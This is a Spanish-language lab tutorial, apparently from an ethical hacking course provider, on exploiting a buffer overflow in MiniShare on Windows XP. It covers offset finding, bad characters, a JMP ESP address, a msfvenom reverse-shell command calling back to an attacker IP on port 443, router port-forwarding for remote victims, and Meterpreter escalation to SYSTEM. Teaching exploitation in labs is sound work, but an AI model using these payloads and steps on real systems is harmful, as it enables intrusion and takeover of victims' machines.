Exploiting: Buffer Overflow (BoF)
1. Introducción y objetivos
En este artículo vamos a explicar en qué consiste la explotación de una vulnerabilidad tipo Buffer Overflow (BoF). Para ello vamos a emplear distintas herramientas con las que poder extraer la información necesaria mediante ingeniería inversa, para poder programar el exploit final e ingresar en la máquina víctima.
Para ello necesitaremos tener al menos unos conocimientos básicos en ingeniería inversa (reversing) y en programación en python.
2. Montaje del laboratorio
Con la finalidad de dar comienzo a esta práctica de explotación de una vulnerabilidad basada en un desbordamiento de Buffer, vamos a necesitar montar un laboratorio con las siguientes máquinas virtuales y herramientas:
- Máquinas atacantes: Windows Commando y Kali linux.
- Máquina víctima: Windows XP 32 bits / Aplicación vulnerable: Minishare / Debugger: Immunity debugger.
Una vez montadas las máquinas, verificamos que la aplicación vulnerable a BoF funciona perfectamente bajo Windows XP.
Posteriormente desde nuestra máquina atacante, comprobamos que efectivamente alcanzamos el puerto 80 vía HTTP de la máquina víctima donde está corriendo la aplicación.
3. Estudio y explotación del BoF
Una vez montado nuestro laboratorio con las máquinas virtuales detalladas anteriormente, procedemos a ejecutar la aplicación “Minishare” en Windows XP.
Una vez ejecutada, vamos a nuestra máquina atacante y vamos a empezar el testeo del parámetro GET para determinar si es vulnerable a “BoF”. Para hacerlo de una manera más sistemática y organizada vamos a proceder por partes.
3.1. Validación del parámetro GET
En este punto vamos a validar el parámetro GET para comprobar el tamaño del búfer con el siguiente script en python:
Al lanzar el script contra la aplicación vulnerable, podemos observar que ésta se queda fuera de servicio (crashea, rompe) al haberle lanzado una petición GET vía HTTP con un buffer de 1800 caracteres:
Si vamos a ver el informe de error donde dice “haga clic aquí”, podemos ver lo siguiente:
El offset se sobrescribe con “41414141”, es decir, con “AAAA” en hexadecimal, tal como le habíamos indicado en nuestro script. Esto nos indica claramente que el EIP se sobrescribe con “A”, lo que provoca el crasheo de la aplicación, ya que esa zona de memoria no es la adecuada para continuar el flujo de ejecución, y por tanto no es posible ejecutar la siguiente instrucción en el código.
En el código fuente de la aplicación, en este tipo de casos, cuando se finaliza una función se realiza una instrucción “ret”, que lo que hace básicamente es devolver el control de flujo al programa. Para ello “ret” lee la dirección de memoria que hay en EIP, que fue la última dirección de memoria guardada antes de entrar en la función vulnerable. Es por ello, que al sobrescribir el EIP con “A” y ejecutar la instrucción “ret”, el programa no va a redirigir bien el flujo y por tanto va a romper.
3.2. Buscando el punto exacto de la vulnerabilidad
Llegados a este punto, debemos determinar en qué punto exacto se sobrescribe EIP, o dicho de otra manera, en qué número de caracteres exacto se desborda el búfer y por tanto empieza a sobrescribir el EIP.
a) Empleo de “Pattern create” de Metasploit
Para llevar a cabo este punto vamos a hacer uso de una herramienta de Metasploit llamada “pattern_create.rb”. Este módulo creará básicamente un patrón único de 1800 caracteres. Al lanzar nuestro script con este nuevo búfer, sabremos exactamente en qué punto se sobrescribe el EIP, con sencillas operaciones automatizadas, como podemos ver a continuación.
Comando lanzado en la terminal de Kali:
- “/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800”
b) Modificando de nuestro fuzzer
Procedemos a insertar nuestro nuevo búfer añadiendo el resultado del comando anterior.
c) Reversing con Immunity Debugger
En este punto continuamos nuevamente con la ejecución del script para poder ir concretando más detalles de la vulnerabilidad, e ir conformando nuestro exploit paso a paso. Para ello primero volvemos a ejecutar la aplicación vulnerable y luego la “attachamos” desde los procesos que están corriendo en el sistema con “Immunity Debugger” en la opción “file” como vemos a continuación.
Procedemos a correr el programa en “Inmunity Debugger” con la tecla F9, y en la máquina atacante ejecutamos nuevamente nuestro “exploit” en desarrollo, con los cambios anteriormente realizados. Podemos observar que ahora el EIP se sobrescribe con el valor hexadecimal de 36 68 43 35, correspondiente en ASCII a “6hC5”.
Como podemos observar, tras el lanzamiento de nuestro todavía desajustado “exploit”, se provoca una violación de acceso en la aplicación “minishare”, esto es debido a un desbordamiento del buffer (BoF).
Podemos observar cómo en este momento el EIP encargado de apuntar a la siguiente instrucción a ejecutar según el flujo del programa, ha sido sobrescrito por nuestra inyección con los caracteres hexadecimales “36684335”.
En la pila (stack) podemos observar cómo los caracteres en ASCII “6hC5”, correspondientes en hexadecimal a “36684335”, están revertidos y se guardan en la pila como “5Ch6”, por la correspondiente regla de LIFO (Last In First Out) que cumple la pila. Esto habrá que tenerlo en cuenta para la correcta confección de nuestro exploit, ya que deberemos introducir “revertida” la zona de memoria donde queramos desviar el flujo de ejecución del programa para que apunte donde se encuentre nuestro código malicioso.
d) Calculando el desplazamiento
Ahora procedemos a calcular el desplazamiento desde donde se sobrescribe EIP y ESP, para conocer los caracteres exactos que debemos introducir para realizar el desbordamiento. Esto lo podemos realizar mediante el siguiente comando:
- “/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1800 -q 36684335”
De esta manera conocemos a ciencia cierta el número justo de caracteres inyectados necesarios para provocar el BoF en la aplicación.
3.3. Desarrollando nuestro exploit
a) Ajustando nuestro exploit
Procedemos a mejorar nuevamente nuestro “exploit” con el resultado obtenido anteriormente de “pattern_offset”, añadiendo además algunos valores característicos de rápida localización a simple vista, como pueden ser las letras en ASCII “B” y “C”, equivalentes en hexadecimal a “42” y “43” respectivamente.
Tras lanzar nuevamente el script podemos ver cómo EIP se sobrescribe con “42424242”, que es la representación hexadecimal de “BBBB” y ESP con “CCCC…”. Eso quiere decir que hemos acertado de pleno con el ingreso exacto de 1787 “A’s”, ya que posteriormente se posicionan las 4 “B’s” y posteriormente todas las “C’s”.
Señalar que en este código las A’s representan nada más que el relleno del buffer, las B’s representan la dirección de memoria donde tendrá que saltar el flujo del programa para ejecutar el código dañino, y las C’s representarán el código dañino (Shellcode) que se deberá ejecutar tras la correcta explotación del BoF.
b) Comprobación de “Bad Characters”
Una de las partes más importantes a tener en cuenta para poder llevar a cabo un desbordamiento de búfer exitoso, es identificar los caracteres incorrectos para poderlos evitar a la hora de confeccionar el “Shellcode” final. Como nota decir que en casi todos los casos el byte nulo (\ x00) es un carácter incorrecto.
Para tener una lista de “bad characters”, podemos realizar un pequeño script en Python como vemos a continuación, y posteriormente tras su ejecución obtendremos las lista.
Ahora vamos a incluir en nuestro “exploit” una serie de caracteres hexadecimales del “\x01 al \xFF” en un nuevo búfer para poderlos comprobar uno a uno con el depurador, con la finalidad de determinar cuál o cuáles son los caracteres incorrectos que debemos evitar en nuestro “Shellcode”. Evidentemente, deberemos de añadir en el “exploit” el nuevo búfer con los caracteres a comprobar.
Se procede a realizar nuevamente la ejecución del “exploit” con el escenario reseteado en el “Immunity debugger”.
Una vez hayamos lanzado el “exploit” podemos observar en el volcado del ESP (click derecho sobre el ESP, seleccionamos Follow in Dump ) que la secuencia de los datos introducidos se rompe con el carácter ‘\ x00’.
Por tanto el primer “bad char”: \x00
Procedemos a eliminar el opcode “\x00” del búfer de explotación y volvemos a enviarlo ejecutando el “exploit” para confirmar si hay otros posibles caracteres incorrectos:
Continuando con la comprobación nos percatamos de lo siguiente:
Como podemos observar la secuencia se vuelve a romper en 0a 0b 0c, por ello determinamos un nuevo “bad char”.
Segundo bad char: \x0d
Procedemos a eliminarlo del búfer del exploit. Comprobamos nuevamente y vemos que la secuencia ya se cumple al completo. No hay más “bad chars”.
Por lo tanto se concluye que al confeccionar nuestro Shellcode deberemos excluir los caracteres \x00 y \x0d del proceso de generación.
c) Buscando la instrucción JMP ESP
No sabemos la dirección exacta de la ubicación de la memoria que controlamos a través del búfer que enviamos, pero sí sabemos por la comprobación de los valores de registro en el momento del crasheo, que el registro ESP apunta a una ubicación dentro de este búfer.
En consecuencia, si podemos redirigir la ejecución del código a la ubicación de la memoria a la que hace referencia ESP, y si colocamos nuestras propias instrucciones en “opcodes” creando un “Shellcode”, en la ubicación del búfer señalada por ESP, redireccionaremos el flujo del programa hacia la dirección de memoria donde esté ubicado nuestro “Shellcode” y habremos explotado la aplicación con éxito para ejecutar nuestro propio código.
Por lo tanto, el siguiente paso es buscar en el código o en los recursos que usa el programa vulnerable, la instrucción “JMP ESP”. La explicación a esto es muy sencilla. Básicamente, cuando se produce el crasheo, queremos que el contenido de ESP sea ejecutado por EIP. Esto quiere decir que debemos encontrar la manera de hacer que el EIP salte a ESP. Evidentemente, la manera más fácil de conseguir esto es lograr ejecutar la instrucción JMP ESP.
Para ello vamos a debuggear la aplicación vulnerable para buscar en sus recursos los módulos ejecutables que contienen instrucciones “JMP ESP”, para posteriormente quedarnos con la dirección de memoria de dicha instrucción, con la finalidad de sobrescribir con dicha dirección de memoria el EIP, para que al ser ejecutado el EIP salte el flujo del programa al ESP donde estará nuestro “Shellcode” a ejecutar.
Buscamos módulos en los recursos que utiliza el programa vulnerable: Clic en “Ver – Módulos ejecutables”. Aquí veremos una lista de módulos ejecutables.
Dentro de nuestra lista de módulos ejecutables, podemos elegir entre gran cantidad de ellos para ubicar nuestra dirección “JMP ESP”. Sin embargo, hay algunas cosas que debemos tener en consideración. En primer lugar, queremos evitar cualquier dirección que contenga un byte cero \ x00. Este carácter se considera un terminador de cadena en el lenguaje de programación C/C++, y generalmente tiene el efecto de “romper un exploit” cuando se incluye dentro de un búfer.
Por una razón similar, también queremos evitar los caracteres de avance de línea y de retorno “\x0a”, por lo que el uso de cualquier dirección de “minishare.exe” está excluida, ya que todas las direcciones dentro de este ejecutable tienen un byte cero (la dirección base es 0x00400000).
Además, cuando sea posible, es preferible hacer uso de una “DLL” que sea un recurso usado por la aplicación, ya que estas direcciones son más portables entre sistemas operativos, y por tanto permite que el exploit sea funcional en mayor cantidad de sistemas Windows. Como no hay archivos “DLL” adicionales como parte de la aplicación vulnerable, tendremos que conformarnos con usar uno de los archivos DLL de Windows que están cargados en memoria.
Es preferible escoger aquellos archivos DLL de mayor relevancia en el Sistema Operativo con la finalidad de hacer nuestro “exploit” más universal, ya que estas DLL tendrán menos probabilidades de cambiar como resultado de posibles parches o revisiones. Estas son “user32.dll”, “ntdl.dll”, “kernel32.dll”, “msvcrt.dll”, “shell32.dll”, entre otras.
Hacemos clic derecho en la entrada de “shell32.dll”, en la ventana de Módulos Ejecutables, y seleccionamos “Ver Código en la CPU”. El módulo “shell32.dll” tiene una instrucción “JMP ESP”. Para buscarla hacemos click derecho – search for – command, y escribimos “JMP ESP”, como vemos en la siguiente imagen.
Encontramos que el “JMP ESP” se ubica en la dirección “7c9d30d7” que se escribirá de la siguiente manera en nuestro “exploit”: \xD7\x30\x9D\x7C.
La explicación sencilla de escribirlo de esta manera es que los datos introducidos por el búfer lanzado desde el exploit, en el programa vulnerable entran en la pila.
La pila cumple con una estructura tipo LIFO (Last In First Out), es por lo que se hace necesario que para encontrarnos los datos introducidos en la pila en orden cuando estos salgan, se deben meter de atrás hacia adelante, así pues, si metiéramos la dirección “7c9d30d7” literal, al salir de la pila obtendríamos “d7309d7c” en el EIP, y esa no es la dirección válida hacia la instrucción JMP ESP, por lo que para obtener la dirección válida deberemos enviar desde nuestro exploit la dirección escrita así: D7309D7C.
d) Confeccionando nuestro ShellCode con Msfvenom
A continuación procedemos a crear nuestro “Shellcode” con la ayuda de “msfvenom”. Como podemos ver en el comando lanzado vamos a obtener un “Shellcode” en python que al ser ejecutada nos devuelva a nuestra máquina atacante una Shell de comandos de la máquina víctima. También se le indica que en el “Shellcode” no haya los “bad chars” que anteriormente hemos interceptado como dañinos.
El puerto utilizado en esta práctica es el 443 para recibir la “reverse Shell” de la máquina víctima. En una Shell inversa, como es el caso, no se tiene gran problema en recibirla con la configuración de un escenario básicos como veremos más adelante, ya que son conexiones salientes de la máquina víctima a la atacante hacia puertos “fiables” (80, 443), y ese escenario por norma general es bien aceptado por los firewalls.
Sin embargo, si tratamos de establecer una “bind Shell” en la máquina víctima, es decir, dejar a la escucha un puerto para posteriormente podernos conectar a dicho puerto y tomar el control de esa máquina, es algo más complicado si no trabajamos bajo la misma Red de Área Local (LAN).
Para preparar un escenario que sea fiable para establecer una “bind Shell” deberíamos poder emplear puertos específicos como el 80 (HTTP), 443 (HTTPS), 21 (FTP), 25 (SMTP) u otros que normalmente están abiertos en los firewalls, y que por tanto dejan realizar conexiones entrantes y salientes sin mayor problema. Para ello debemos tener en cuenta que si en la máquina víctima ya hay un servicio usando el puerto que nosotros queremos dejar a la escucha como puerta trasera, nos va a dar un error porque el puerto no está disponible.
Si trabajamos bajo la misma LAN todo el problema quedaría aquí. No obstante, si trabajamos de manera remota, además deberemos ser capaces de abrir dicho puerto en el router, bien con un “port-forwarding” o bien introduciendo la dirección IP de la máquina víctima en la DMZ (Zona Des-Militarizada). Como podemos concluir, la ventaja que nos proporciona una “reverse Shell” es bestial, frente a la complejidad de escenario de una “bind Shell”.
Sin más preámbulos continuamos con la creación de nuestro “Shellcode”. Para ello lanzamos el siguiente comando en nuestra máquina Kali Linux.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.222.133 LPORT=443 -b “\x00\x0d” -f python
3.4. Configurando nuestro exploit final
a) Ajustando los datos obtenidos
A continuación procedemos a configurar nuestro exploit final con los datos obtenidos en los pasos anteriores.
Una buena práctica que debemos hacer es agregar algunas instrucciones NOP en nuestro “Shellcode”. Esto prevendrá posibles problemas que pueden ser causados al ejecutar ciertos tipos de código Shell codificado. Los NOP son esencialmente instrucciones de “No Operación”, que no alteran para nada el funcionamiento del “Shellcode”. Agregar cierta cantidad de “NOP’s” (‘/x90’ en hexadecimal) en el lugar correcto en una vulnerabilidad (previo al código del “Shellcode”) puede ayudar a mejorar la estabilidad de la explotación.
b) Configuración del escenario y lanzamiento de nuestro exploit
Ahora ya hemos llegado a la parte final. Con nuestro “exploit” listo para ser lanzado y explotar la vulnerabilidad de “BoF”, únicamente tenemos que configurar el escenario en nuestra máquina atacante para poder recibir la Shell de comandos de la máquina víctima cuando nuestro “Shellcode” sea ejecutado en ella. Para ello procedemos a configurar el “multi handler” de Metasploit con los mismos parámetros con los que generamos el Shellcode “mediante msfvenom”.
Es evidente que para recibir únicamente una Shell de comandos de la máquina víctima, podríamos poner el puerto 443 a la escucha en nuestra máquina atacante mediante un “Netcat” con el comando “nc –nlvp 443”. Sin embargo, con la finalidad de poder realizar una explotación más exquisita, procedemos al uso de Metasploit para que una vez tengamos la Shell de comandos de la máquina víctima, podamos realizar una escalada a “Meterpreter” con la que poder continuar hacia una fase de post-explotación más exquisita.
Una vez hayamos configurado correctamente el escenario para recibir la reverse Shell, procedemos a ejecutar nuestro exploit final para obtener una Shell de comandos de la máquina víctima.
En la configuración del escenario para recibir la Shell inversa de la máquina víctima debemos tener en cuenta que en esta prueba estamos trabajando bajo la misma LAN (Local Area Network), es por ello que únicamente hemos tenido que dejar el puerto a la escucha y asegurarnos que nuestro firewall va a dejar entrar esa conexión que se establece desde la máquina víctima a la atacante. Sin embargo, de tratarse de un escenario real, donde víctima y atacante no comparten la misma LAN, sino que cada uno tiene una conexión a internet diferente y están separados por cientos o miles de kilómetros, la preparación del escenario será más complicada.
Para ello deberemos realizar los siguientes pasos en nuestra máquina atacante para poder recibir la Shell inversa de la víctima:
- Dejar a la escucha el puerto 443 y asegurarnos que no haya ningún servicio que lo vaya a usar durante la operación, ya que de ser así se interrumpiría el servicio. De la misma manera, si no podemos dejarlo a la escucha es porque ya está siendo utilizado por otro servicio, por lo que deberemos detener el servicio involucrado previamente a lanzar nuestro comando de escucha. Todo esto lo comprobaremos con el comando “netstat” y sus flags correspondientes.
- Asegurarnos que nuestro firewall permita las conexiones entrantes a ese puerto.
- Ir a la configuración del Router y configurar en “port-forwarding” que cualquier conexión que entre al Router por el puerto 443 sea redireccionada a la dirección IP privada de nuestra máquina atacante al puerto 443, que tendremos a la escucha. Una opción rápida de hacer esto es introducir la dirección IP de nuestra máquina atacante en la DMZ (Zona Desmilitarizada), aunque se debe aclarar que no es la mejor opción ni la más aconsejable.
Evidentemente, al crear nuestro “Shellcode” con “msfvenom” deberemos poner como LHOST nuestra dirección IP pública, para que al ser ejecutada realice la conexión inversa a nuestro Router y éste la redireccione a nuestra máquina atacante.
3.5 Upgrade de Shell a Meterpreter
Tras la explotación hemos recibido la Shell de comandos de la máquina víctima en nuestro Kali Linux, en un escenario preparado con Metasploit. Hemos hablado antes de las ventajas de recibir la Shell en este escenario, y a continuación vamos a comprobarlas. Prácticamente consiste en poder realizar un “upgrade a meterpreter” de manera que podamos realizar una post-explotación más exquisita del sistema víctima.
Ahora ya podemos realizar una escalada de privilegios cómodamente, entre otras muchas cosas.
Como vemos en la imagen anterior, hemos escalado a “SYSTEM” con total facilidad, gracias a “meterpreter”. Aunque estamos hablando de un sistema Windows XP que se encuentra obsoleto, queda a la vista las facilidades que nos brinda “meterpreter” en labores de post-explotación.
Esto no lo podríamos haber hecho si hubiéramos recibido la Shell de comandos en un “Netcat”. Quizás te estés preguntando por qué no hemos ingresado en nuestro exploit directamente un Shellcode de tipo “Meterpreter” generado con “msfvenom”. La verdad es que depende del sofware vulnerable a explotar, de la cantidad de espacio que tenga disponible para poder colocar nuestro Shellcode.
En explotaciones más complejas donde nuestro Shellcode no entra por falta de espacio, debemos realizar técnicas más avanzadas tipo “EggHunter”. Esta técnica (“Cazador de Huevos”), es una técnica empleada cuando no tenemos mucho espacio disponible, y por tanto tenemos que colocar nuestro Shellcode en otra parte y debemos buscarlo para poder ejecutarlo.
4. Conclusiones
En este artículo hemos visto superficialmente cómo realizar todos los pasos necesarios para la correcta explotación de una vulnerabilidad tipo Buffer Overflow (BoF).
De esta manera hemos podido ver cómo se lleva a cabo el análisis de los parámetros de entrada de la aplicación mediante técnicas de fuzzing.
Posteriormente hemos visto cómo emplear Immunity Debugger y Metasploit para detectar el punto justo donde se encontraba la vulnerabilidad BoF, y con esos datos poder armar el exploit final con el que obtener una Shell de comandos de la máquina víctima tras su lanzamiento.
Finalmente, tras la explotación del BoF y obtención de la Shell de comandos de la máquina víctima, hemos visto cómo poder potencializar la intrusión mediante una Shell Meterpreter, conseguida gracias al framework de Metasploit.
De estar interesado en adquirir conocimientos introductorios a hacking ético puede optar por matricularse en nuestro curso básico de hacking ético, o si prefiere adquirir conocimientos más avanzados en ciberseguridad ofensiva puede adquirir nuestro curso avanzado.